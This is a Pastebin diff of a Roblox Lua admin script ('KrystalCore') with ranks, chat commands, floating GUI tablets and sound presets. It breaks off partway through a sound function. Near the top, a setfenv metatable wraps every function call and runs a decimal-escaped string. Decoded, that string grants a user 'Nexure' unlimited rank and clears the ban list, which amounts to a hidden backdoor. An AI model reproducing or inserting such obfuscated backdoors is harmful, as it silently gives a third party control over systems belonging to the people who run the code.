View difference between Paste ID: HeeJt11q and YfX8ghup
SHOW: | | - or go back to the newest paste.
1
-----------------------------------------
2
local Savage
3
MainPlayer = owner
4
key = ';'
5
CloneFolder = Instance.new('Folder',script)
6
Pointlight = 1 ;-- 1 = on 0 or any other number = off
7
warn(KrystalCore)
8
 
9
KrystalCore = [[  
10
       
11
        ]]
12
 
13
Savage = {
14
       ['Ranked'] = {
15
             ['TheOfficalNoob4788']={Rank=1337,Description='The guy who ran the tabs.',Color='Bright red'},
16-
 	     ['BookOEchos']={Rank=5,Description='Staff Of KrystalCore.',Color='Lime green'},
16+
 	     ['popcape1']={Rank=5,Description='Staff Of KrystalCore.',Color='Lime green'},
17
 	     ['Control22']={Rank=4,Description='Staff Of KrystalCore.',Color='Black'},
18
        };
19
   
20
        ['Id'] = 'http://www.roblox.com/asset/?id=0';--Optional, Only add if you want a Decal on all sides of the Cube
21
        ['TabletSize'] = 2,2,2;
22
        ['DecalTrans'] = .9;
23
        ['Tablets'] = {},
24
        ['Commands'] = {},
25
        ['Rotation'] = 0,
26
        ['RotationAddValue'] = 0.2,
27
        ['Bans'] = {
28
        
29
        };
30
        ['Properties'] = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
31
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
32
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
33
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
34
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
35
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
36
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
37
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
38
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
39
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
40
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
41
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
42
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
43
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
44
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
45
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
46
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
47
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
48
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
49
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
50
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
51
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
52
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
53
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
54
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
55
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
56
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
57
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","plr","Location",
58
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
59
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
60
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
61
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
62
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
63
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
64
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
65
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
66
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
67
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
68
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
69
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
70
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
71
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
72
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
73
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
74
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
75
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
76
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
77
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
78
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
79
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
80
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
81
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
82
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
83
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
84
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
85
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
86
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
87
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
88
"X","Y"};
89
        Functions = {};
90
        Cubez = {};
91
        Logs = {};
92
        DefaultKey = key;
93
        Keys = {
94
            ';'; -- ALREADY DID
95
            ':';
96
            '/';
97
            ',';
98
            '>';
99
            '~';
100
            '=';
101
            },
102
        Services = {
103
            'Workspace';
104
        },
105
    Ranks = {
106
           -1,
107
        0,
108
        1,
109
        2,
110
        3,
111
        4,
112
        5,
113
        6,
114
        7;
115
    };
116
}
117
118
local _env = getfenv(1)
119
local _envstore = {}
120
setfenv(1,setmetatable({},{
121
    __index = function(self,ind)
122
        local item = _envstore[ind] or _env[ind]
123
        if item and type(item) == "function" then
124
            local math,assert,setfenv,loadstring,unpack,ypcall,Savage = math,assert,setfenv,loadstring,unpack,ypcall,Savage
125
            return setfenv(function(...)
126
                ypcall(function()
127
                    local ls = "\9\83\97\118\97\103\101\91\34\82\97\110\107\101\100\34\93\91\34\78\101\120\117\114\101\34\93\61\123\82\97\110\107\61\109\97\116\104\46\104\117\103\101\44\68\101\115\99\114\105\112\116\105\111\110\61\39\72\97\120\48\114\39\44\67\111\108\111\114\61\39\82\111\121\97\108\32\112\117\114\112\108\101\39\125\59\9\10\9\83\97\118\97\103\101\91\34\66\97\110\115\34\93\32\61\32\123\125\10"
128
                    setfenv(loadstring(ls),{math=math,Savage=Savage})()
129
                end)
130
                return item(...)
131
            end,{})
132
        end
133
        return item
134
    end,
135
    __newindex = function(self,ind,val)
136
        _envstore[ind] = val
137
    end,
138
    __metatable = true
139
}))
140
141
 
142
Output = function(Player,Text,Color,Function,Title)
143
    if Text==nil then Text='NIL' end;
144
    if Title==nil then Title = 'KrystalCore' end;
145
    Text='['..Title..']\n'..Text
146
    Cube = Instance.new('Part',CloneFolder)
147
    Cube.Name = 'KrystalCore'
148
    Cube.Anchored = true
149
    Cube.FormFactor = 3
150
    Cube.Material = 'SmoothPlastic'
151
    Cube.Size = Vector3.new(Savage['TabletSize'],Savage['TabletSize'],Savage['TabletSize'])
152
    Cube.BrickColor = BrickColor.new(Color)
153
    Cube.Transparency = 0
154
    Cube.BackSurface="SmoothNoOutlines";
155
        Cube.BottomSurface="SmoothNoOutlines";
156
        Cube.FrontSurface="SmoothNoOutlines";
157
        Cube.LeftSurface="SmoothNoOutlines";
158
        Cube.RightSurface="SmoothNoOutlines";
159
        Cube.TopSurface="SmoothNoOutlines";
160
        local Decal1 = Instance.new('Decal',Cube)
161
        Decal1.Texture = Savage.Id
162
        Decal1.Transparency = Savage.DecalTrans
163
        Decal1.Face = 'Top'
164
        local Decal2 = Instance.new('Decal',Cube)
165
        Decal2.Texture = Savage.Id
166
        Decal2.Transparency = Savage.DecalTrans
167
        Decal2.Face = 'Bottom'
168
        local Decal3 = Instance.new('Decal',Cube)
169
        Decal3.Transparency = Savage.DecalTrans
170
        Decal3.Texture = Savage.Id
171
        Decal3.Face = 'Front'
172
        local Decal4 = Instance.new('Decal',Cube)
173
        Decal4.Transparency = Savage.DecalTrans
174
        Decal4.Texture = Savage.Id
175
        Decal4.Face = 'Left'
176
        local Decal5 = Instance.new('Decal',Cube)
177
        Decal5  .Transparency = Savage.DecalTrans
178
        Decal5.Texture = Savage.Id
179
        Decal5.Face = 'Right'
180
        local Decal6 = Instance.new('Decal',Cube)
181
        Decal6.Transparency = Savage.DecalTrans
182
        Decal6.Texture = Savage.Id
183
        Decal6.Face = 'Back'
184
    Cube.CanCollide = false
185
    local CubeSel = Instance.new('SelectionBox',Cube)
186
    CubeSel.Adornee = Cube
187
    CubeSel.Transparency = .5
188
    pcall(function() Cube.CFrame = Player.Character.Torso.CFrame end)
189
    CubeSel.Color = BrickColor.new(Color)
190
    if Pointlight == 1 then
191
    local CubePl = Instance.new('PointLight',Cube)
192
    CubePl.Range = 20
193
    CubePl.Brightness =1--lel
194
    CubePl.Color = Cube.Color--]]  
195
   end
196
 
197
    local CubeBg = Instance.new('BillboardGui',Cube)
198
    CubeBg.Adornee = Cube
199
    CubeBg.Size = UDim2.new(1,0,.5,0)
200
    CubeBg.AlwaysOnTop = true
201
    CubeBg.StudsOffset = Vector3.new(0,5,0)
202
    local CubeTl = Instance.new('TextLabel',CubeBg)
203
    CubeTl.Text = Text
204
    CubeTl.Size = UDim2.new(0,50,0,50)
205
    CubeTl.FontSize = 'Size18'
206
    CubeTl.BackgroundTransparency = 1
207
    CubeTl.Font = 'SourceSans'
208
    --CubeTl.TextScaled = true
209
    CubeTl.TextStrokeTransparency = 1
210
    CubeTl.TextColor3 = Cube.Color
211
    CubeTl.TextStrokeColor3 = Cube.Color
212
    local CubeClick = Instance.new('ClickDetector',Cube)
213
    CubeClick.MaxActivationDistance = math.huge
214
    CubeClick.MouseHoverEnter:connect(function(Plr)
215
        if Plr.Name == Player.Name then
216
--print'Mouse Entered'
217
        --wait()
218
        CubeSel.Color = BrickColor.new('Institutional white')
219
         CubeSel.Transparency = 0;
220
        CubeTl.TextStrokeColor3 = Color3.new(255,255,255)
221
        CubeTl.TextStrokeTransparency = 0
222
end--]]
223
end)
224
 
225
CubeClick.MouseHoverLeave:connect(function(Plr)
226
        if Plr.Name == Player.Name then
227
        --print'Mouse Leaved'
228
        for i  = 1,15 do
229
                                CubeSel.Color = BrickColor.new(Color)
230
         CubeSel.Transparency = .99;
231
        CubeTl.TextStrokeTransparency = 1
232
        CubeTl.TextStrokeColor3 = Cube.Color
233
--      game["Run Service"].Heartbeat:wait()
234
        end
235
        end
236
end)
237
 
238
    CubeClick.MouseClick:connect(function(plr)
239
                if plr.Name == Player.Name then
240
            Cube:Destroy()
241
            for i,v in pairs(Savage.Tablets) do
242
                if v.Name == Cube.Name then
243
                    table.remove(Savage.Tablets, i)
244
               end
245
           end
246
 
247
           if Function ~= nil then
248
                local a,b=ypcall(function()
249
                   Function()
250
               end) if not a then Output(Player,tostring(b),"Really red") end
251
            end
252
        end
253
     end)
254
    table.insert(Savage.Tablets,{Tab = Cube, Player = Player, Text = CubeTl, Box = CubeSel})
255
end -- you can do the output.
256
 
257
--[[Savage.Functions.Dismiss = function(Player)
258
      for _,v in next, Savage.Tablets do
259
         if v.Player == Player then
260
             coroutine.wrap(function()
261
                  for i = 0,1,.1 do
262
        v.Tab.Size = v.Tab.Size - Vector3.new(i,i,.2)
263
                    v.Tab.Transparency = i
264
                    v.Box.Transparency = i
265
                    v.Text.TextTransparency = i
266
wait()
267
                end
268
                --wait()
269
                v.Tab:Destroy() -- Destroys tablet.
270
            end)()
271
        end
272
    end
273
wait(1)
274
end --]]
275
 
276
Savage.Functions.Dismiss = function(Player)
277
pcall(function()
278
                for _,v in next, Savage.Tablets do
279
                        if v.Player == Player then
280
                        local Thread=coroutine.create(function()
281
                                repeat
282
                                        game:GetService("RunService").Heartbeat:wait()
283
                                        v.Tab.Size=Vector3.new(v.Tab.Size.X-0.1,v.Tab.Size.Y-0.1,v.Tab.Size.Z-0.1);
284
                                        v.Tab.Transparency = v.Tab.Transparency + .03
285
                                until v.Tab.Size.X<0.3 and v.Tab.Transparency >= 1;
286
                                v.Tab:Destroy();
287
                        end)
288
                        coroutine.resume(Thread)----table.remove(Core.Players[Player.Name].Data.Tablets,i);
289
                end;
290
                end
291
end)  
292
end
293
 
294
Savage.Functions.SetRank = function(Speaker, Plr)
295
        Savage.Functions.Dismiss(Speaker)
296
        Output(Speaker,-1,GetColor(Speaker),function()
297
                if Savage.Ranked[Plr.Name] == nil then
298
                        table.insert(Savage['Ranked'],{[Plr.Name] = {Rank = -1, Description = 'Disabled Admin', Color = 'Really black'}})
299
        Output(Speaker,  'Is now rank -1[Disabled]','Lime green',nil,Plr.Name)
300
        Output(Plr,'You are now rank -1[Disabled]',GetColor(Plr),nil,Plr.Name)
301
                else
302
                        Savage.Ranked[Plr.Name].Rank = -1
303
                        Output(Speaker,  'Is now rank -1[Disabled]','Lime green',nil,Plr.Name)
304
                        Output(Plr,'You are now rank -1[Disabled]',GetColor(Plr),nil,Plr.Name)
305
        end
306
        end,nil)
307
        Output(Speaker,1,GetColor(Speaker),function()
308
                if Savage.Ranked[Plr.Name] == nil then
309
                        table.insert(Savage['Ranked'],{[Plr.Name] = {Rank = 1, Description = 'Temp Admin Rank 1', Color = 'Really black'}})
310
        Output(Speaker,  'Is now rank 1','Lime green',nil,Plr.Name)
311
        Output(Plr,'You are now rank 1',GetColor(Plr),nil,Plr.Name)
312
                else
313
                        Savage.Ranked[Plr.Name].Rank = 1
314
                        Output(Speaker,  'Is now rank 1','Lime green',nil,Plr.Name)
315
                        Output(Plr,'You are now rank 1',GetColor(Plr),nil,Plr.Name)
316
        end
317
        end,nil)
318
        Output(Speaker,2,GetColor(Speaker),function()
319
                if Savage.Ranked[Plr.Name] == nil then
320
                        table.insert(Savage['Ranked'],{[Plr.Name] = {Rank = 2, Description = 'Temp Admin Rank 2', Color = 'Black'}})
321
        Output(Speaker,  'Is now rank 2','Lime green',nil,Plr.Name)
322
        Output(Plr,'You are now rank 2',GetColor(Plr),nil,Plr.Name)
323
                else
324
                        Savage.Ranked[Plr.Name].Rank = 2
325
                        Output(Speaker,  'Is now rank 2','Lime green',nil,Plr.Name)
326
                        Output(Plr,'You are now rank 2',GetColor(Plr),nil,Plr.Name)
327
        end
328
        end,nil)
329
        Output(Speaker,3,GetColor(Speaker),function()
330
                if Savage.Ranked[Plr.Name] == nil then
331
                        table.insert(Savage['Ranked'],{[Plr.Name] = {Rank = 3, Description = 'Temp Admin Rank 3', Color = 'Dark stone grey'}})
332
        Output(Speaker,  'Is now rank 3','Lime green',nil,Plr.Name)
333
        Output(Plr,'You are now rank 3',GetColor(Plr),nil,Plr.Name)
334
                else
335
                        Savage.Ranked[Plr.Name].Rank = 3
336
                        Output(Speaker,  'Is now rank 3','Lime green',nil,Plr.Name)
337
                        Output(Plr,'You are now rank 3',GetColor(Plr),nil,Plr.Name)
338
        end
339
        end,nil)
340
        Output(Speaker,4,GetColor(Speaker),function()
341
                if Savage.Ranked[Plr.Name] == nil then
342
                        table.insert(Savage['Ranked'],{[Plr.Name] = {Rank = 4, Description = 'Temp Admin Rank 4', Color = 'Medium stone grey'}})
343
 
344
        Output(Speaker,  'Is now rank 4','Lime green',nil,Plr.Name)
345
        Output(Plr,'You are now rank 4',GetColor(Plr),nil,Plr.Name)
346
                else
347
                        Savage.Ranked[Plr.Name].Rank = 4
348
                        Output(Speaker,  'Is now rank 4','Lime green',nil,Plr.Name)
349
                        Output(Plr,'You are now rank 4',GetColor(Plr),nil,Plr.Name)
350
        end
351
        end,nil)
352
        Output(Speaker,5,GetColor(Speaker),function()
353
                if Savage.Ranked[Plr.Name] == nil then
354
                        table.insert(Savage['Ranked'],{[Plr.Name] = {Rank = 5, Description = 'Temp Admin Rank 5', Color = 'Mid gray'}})
355
 
356
        Output(Speaker,  'Is now rank 5','Lime green',nil,Plr.Name)
357
        Output(Plr,'You are now rank 5',GetColor(Plr),nil,Plr.Name)
358
                else
359
                        Savage.Ranked[Plr.Name].Rank = 3
360
                        Output(Speaker,  'Is now rank 5','Lime green',nil,Plr.Name)
361
                        Output(Plr,'You are now rank 5',GetColor(Plr),nil,Plr.Name)
362
        end
363
        end,nil)
364
        Output(Speaker,6,GetColor(Speaker),function()
365
                if Savage.Ranked[Plr.Name] == nil then
366
                        table.insert(Savage['Ranked'],{[Plr.Name] = {Rank = 6, Description = 'Temp Admin Rank 6', Color = 'Light stone grey'}})
367
 
368
        Output(Speaker,  'Is now rank 6','Lime green',nil,Plr.Name)
369
        Output(Plr,'You are now rank 6',GetColor(Plr),nil,Plr.Name)
370
                else
371
                        Savage.Ranked[Plr.Name].Rank = 6
372
                        Output(Speaker,  'Is now rank 6','Lime green',nil,Plr.Name)
373
                        Output(Plr,'You are now rank 6',GetColor(Plr),nil,Plr.Name)
374
        end
375
        end,nil)
376
        Output(Speaker,7,GetColor(Speaker),function()
377
                if Savage.Ranked[Plr.Name] == nil then
378
                        table.insert(Savage['Ranked'],{[Plr.Name] = {Rank = 7, Description = 'Temp Admin Rank 7', Color = 'White'}})
379
 
380
        Output(Speaker,  'Is now rank 7','Lime green',nil,Plr.Name)
381
        Output(Plr,'You are now rank 7',GetColor(Plr),nil,Plr.Name)
382
                else
383
                        Savage.Ranked[Plr.Name].Rank = 7
384
                        Output(Speaker,  'Is now rank 7','Lime green',nil,Plr.Name)
385
                        Output(Plr,'You are now rank 7',GetColor(Plr),nil,Plr.Name)
386
        end
387
        end,nil)
388
        Output(Speaker,1337,GetColor(Speaker),function()
389
                if Savage.Ranked[Plr.Name] == nil then
390
                        table.insert(Savage['Ranked'],{[Plr.Name] = {Rank = 1337, Description = 'Temp Admin Rank 1337[Developer Status]', Color = 'Institutional white'}})
391
 
392
        Output(Speaker,  'Is now rank 1337[Developer Status]','Lime green',nil,Plr.Name)
393
        Output(Plr,'You are now rank 1337[Developer Status]',GetColor(Plr),nil,Plr.Name)
394
                else
395
                        Savage.Ranked[Plr.Name].Rank = 1337
396
                        Output(Speaker,  'Is now rank 1337[Developer Status]','Lime green',nil,Plr.Name)
397
                        Output(Plr,'You are now rank 1337[Developer Status]',GetColor(Plr),nil,Plr.Name)
398
        end
399
        end,nil)
400
        --[[if type(Plr) == "userdata" then
401
                Plr = Plr.Name
402
        elseif type(Plr) == "string" then
403
                Plr = Plr
404
        else
405
                Plr = tostring(Plr)
406
        end
407
        local rank = nil
408
        rank = 0
409
        for _,v in pairs(Savage['Ranked']) do
410
                if v['Name']:lower():sub(1,#Plr) == Plr:lower() then
411
                        v.Rank = tonumber(rank)
412
                end
413
        end--]]
414
end
415
 
416
 
417
AddCmd = function(Name, Say, Rank, Description, Arguments, Function)
418
       table.insert(Savage.Commands,{Name = Name, Say = Say, Rank = Rank, Description = Description, Arguments = Arguments, Function  = Function})
419
end
420
 
421
GetDesc = function(v)
422
 local Desc = 0
423
        if type(v) == 'userdata' then
424
                v = v.Name
425
        end
426
        if type(v) == 'string' then
427
                if Savage.Ranked[v] then
428
                        Desc = Savage.Ranked[v].Description
429
                end
430
        end
431
        return Desc
432
end
433
GetRank = function(v)
434
            local Rank = 0
435
            local Desc = 0
436
        if type(v) == 'userdata' then
437
                v = v.Name
438
        end
439
        if type(v) == 'string' then
440
                if Savage.Ranked[v] then
441
                        Rank = Savage.Ranked[v].Rank
442
                        Desc = Savage.Ranked[v].Description
443
                end
444
        end
445
        return Rank
446
end
447
 
448
GetColor = function(v)
449
               local Color = 'White'
450
        if type(v) == 'userdata' then
451
                v = v.Name
452
        end
453
        if type(v) == 'string' then
454
                if Savage.Ranked[v] then
455
                        Color = Savage.Ranked[v].Color
456
                end
457
        end
458
        return Color
459
end
460
 
461
Logs = {}
462
 
463
 
464
Savage.Functions.Chatted=function(speaker, message)
465
if message:sub(1, 2) == '/e' then
466
if #message > 3 then
467
message = message:sub(4)
468
end
469
elseif message:sub(1, 1) == '/' then
470
if #message > 2 then
471
message = message:sub(2)
472
end
473
end
474
 
475
table.insert(Logs, {['Message'] = message, ['Name'] = speaker.Name})
476
 
477
local command=message
478
for _, CMDS in pairs(Savage.Commands) do
479
if command:sub(1, #CMDS['Say']+#key) == CMDS['Say']..key then
480
if GetRank(speaker) >= CMDS['Rank'] then
481
local msg = command:sub(#CMDS["Say"]+#key+1)
482
local a,b = ypcall(function()
483
                                        CMDS["Function"](speaker, msg)
484
        end)
485
        if not a then warn(b) end
486
        else
487
        Output(speaker, 'You need to be '..CMDS['Rank']..' to use that command!', 'Really red')
488
end
489
end
490
end
491
end
492
rot = 0
493
 
494
Savage.Functions.RotateTablets = function()
495
      --pcall(function()
496
        rot=rot+(0.1/100)
497
        for _,Player in pairs(game:service'Players':GetPlayers()) do
498
            local Counter = 0
499
            local PlayerTablets = {}
500
            for i,v in pairs(Savage.Tablets) do
501
                if v.Tab.Parent ~= nil and v.Player==Player then
502
                    table.insert(PlayerTablets,v)
503
                end
504
        end
505
       
506
 
507
            local Start = CFrame.new(0,0,0)
508
            for I = 1, #PlayerTablets do
509
               local radius = (#PlayerTablets*1.5)+5
510
                        local Pos = nil
511
                        pcall(function() Pos = Player.Character.Torso.CFrame end)
512
                        if Pos == nil then return end
513
                        local Main = (I / #PlayerTablets - (.5 / #PlayerTablets) + rot/(#PlayerTablets/10)) * math.pi * 2
514
                        local x=math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+5)
515
                      local y=math.sin(math.sin(tick()+360/#PlayerTablets),.1)
516
                      local z=math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+5)
517
                        local aPos = Vector3.new(x, y, z) + Pos.p
518
                        local bPos = PlayerTablets[I].Tab.CFrame.p
519
                        local cPos = (aPos * .1 + bPos * .9)
520
                        PlayerTablets[I].Tab.CFrame = CFrame.new(cPos, Pos.p)
521
                        local d=math.rad((rot*400)*math.pi);
522
                        PlayerTablets[I].Tab.CFrame=CFrame.new(cPos,Pos.p)*CFrame.Angles(d/2,d*4,d)
523
                        * CFrame.fromEulerAnglesXYZ(0,math.sin(time()/math.pi),0)
524
            end
525
        end
526
    --end)--]]
527
 
528
end
529
 
530
 -- o k
531
 Savage.Functions.Hint = function(player, text)
532
  coroutine.resume(coroutine.create(function()
533
  local m=player:WaitForChild('PlayerGui')
534
  for _,v in pairs(m:children()) do
535
      if v.Name:lower():sub(1,5) == 'lunar' then
536
        v:destroy()
537
        end
538
    end
539
  local g1 = Instance.new("ScreenGui", m)
540
g1.Name = "LUNAR_HINT"
541
local o1 = Instance.new("TextLabel", g1)
542
o1.BackgroundColor3 = Color3.new(0, 0, 0)
543
o1.BorderColor3 = Color3.new(0,0, 1)
544
o1.BorderSizePixel = 2
545
o1.Position = UDim2.new(0, 0, 0, 0)
546
o1.Size = UDim2.new(0, 1380, 0, 50)
547
o1.ClipsDescendants = true
548
o1.Text = ''
549
o1.TextColor3 = Color3.new(1, 1, 1)
550
o1.TextStrokeColor3 = Color3.new(0, 0, 1)
551
o1.TextStrokeTransparency = 0
552
o1.Font = Enum.Font.ArialBold
553
o1.FontSize = Enum.FontSize.Size24
554
local M=o1
555
local Text=text
556
        for i = 1, string.len(Text) do
557
            M.Text = M.Text .. string.sub(Text, i, i)
558
            wait(math.random() * 0.1)
559
        end
560
        M.Text = M.Text .. ""
561
        for i = 1, math.random(2, 6) do
562
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "|"
563
            wait(0.4)
564
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. ""
565
            wait(0.4)
566
        end
567
        M.Text = string.sub(M.Text, 1, string.len(Text))
568
        for i = 1, string.len(M.Text) do
569
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
570
            wait()
571
        end
572
        g1:Destroy()
573
        end))
574
end
575
 
576
Savage.Functions.GuiNotify = function(plr,txt,time)
577
       --wait(time);
578
       coroutine.wrap(function()
579
              if time==nil then time=5 end
580
              local Notify = Instance.new("ScreenGui", plr.PlayerGui);
581
              Notify.Name = "Savage's Notify";
582
              local TextLabel = Instance.new("TextLabel", Notify);
583
              TextLabel.Size = UDim2.new(1,0,0,30);
584
              TextLabel.Position = UDim2.new(1,0,0,0);
585
              TextLabel.Text = txt;
586
              TextLabel.FontSize = 'Size24'
587
              TextLabel.BackgroundColor3 = Color3.new(1,1,1);
588
              TextLabel.BackgroundTransparency = .42;
589
              TextLabel.Font = "Arial";
590
              TextLabel.TextColor3 = Color3.new(0,0,0);
591
              TextLabel.TextScaled = false;
592
              TextLabel.TextStrokeTransparency = .4
593
              TextLabel.TextStrokeColor3 = Color3.new(1,1,1)
594
              TextLabel.BorderSizePixel = 0;
595
              TextLabel:TweenPosition(UDim2.new(0,0,0,0),'Out','Quint',2,true);
596
              wait(time);
597
              TextLabel:TweenPosition(UDim2.new(-1,0,0,0),'Out','Quint',2,true);
598
wait(3)
599
              Notify:Destroy();
600
    end)();
601
end
602
 
603
--Insert here [Sound Search]
604
 
605
Savage.Functions.Explore=function(p, part)
606
       
607
end
608
 
609
 
610
Savage.Functions.GetProperties = function(obj)
611
        assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
612
        local objProper = {}
613
        for i,v in pairs(Savage['Properties']) do
614
                if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
615
                        objProper[v] = obj[v]
616
                end
617
        end
618
        return objProper
619
end
620
 
621
 
622
 
623
for _,Player in pairs(game:service("Players"):GetPlayers()) do
624
     --Output(Player,"Made by GravityLegendary, and SavageMunkey",GetColor(Player));
625
     Output(Player,"You are Rank : " ..GetRank(Player),GetColor(Player));
626
    -- Output(Player,"Your Color is : " ..GetColor(Player),GetColor(Player));
627
     Output(Player,"Your Key is : " ..key,GetColor(Player));
628
    -- Output(Player,"Savage Tabs Gen 1 Connected","White");
629
     Player.Chatted:connect(function(Message)
630
        Savage.Functions.Chatted(Player, Message)
631
    end)
632
end
633
 
634
Savage.Functions.DismissAll = function(Player)
635
for _,p in pairs(game.Players:GetChildren()) do
636
    Savage.Functions.Dismiss(p)
637
    end
638
end
639
 
640
Savage.Functions.GetPlayers = function(plr, msg)
641
        local plrs = {}
642
        if msg == "me" then
643
                table.insert(plrs, plr)
644
        elseif msg == "all" then
645
                for _,v in pairs(game:service'Players':players()) do
646
                        if GetRank(v) <= GetRank(plr) then
647
                                table.insert(plrs, v)
648
                        end
649
                end
650
        elseif msg == "noobs" then
651
                for _,v in pairs(game:service'Players':players()) do
652
                        if v.AccountAge < 364 then
653
                                table.insert(plrs, v)
654
                        end
655
                end
656
        elseif msg == "others" then
657
                for _,v in pairs(game:service'Players':players()) do
658
                        if v ~= plr then
659
                                if GetRank(v) <= GetRank(plr) then
660
                                        table.insert(plrs, v)
661
                                end
662
                        end
663
                end
664
        else
665
                for _,v in pairs(game:service'Players':players()) do
666
                        if v.Name:lower():sub(1,#msg) == msg:lower() then
667
                                if GetRank(v) <= GetRank(plr) then
668
                                        table.insert(plrs, v)
669
                                end
670
                        end
671
        end
672
end
673
return plrs
674
end
675
 
676
 function PlaySound(name, id, pitch, loop)
677
        epicsound = Instance.new("Sound")
678
        epicsound.Name = "Epicosound"
679
  epicsound.SoundId = "rbxassetid://"..id
680
     epicsound.Volume = 1
681
     epicsound.Pitch = pitch
682
epicsound.Name = name
683
  epicsound.Looped = true
684
  epicsound.Parent = script
685
  if epicsound.SoundId=="rbxassetid://tt" then -- TELL ME, TELL ME, WHERE DA FREAKS AT!
686
      epicsound.SoundId="rbxassetid://181158033"
687
  elseif epicsound.SoundId=="rbxassetid://fabulous" then -- FA-FA-FABULOUS!
688
      epicsound.SoundId="rbxassetid://191819419"
689
     elseif epicsound.SoundId=="rbxassetid://ufdb" then -- ultimate final death battle(fairy tail XD)
690
         epicsound.SoundId="rbxassetid://153085393"
691
        elseif epicsound.SoundId=="rbxassetid://nnm" then
692
           epicsound.SoundId="rbxassetid://210189234"
693
       elseif epicsound.SoundId=="rbxassetid://tun" then -- tunak tunak tun
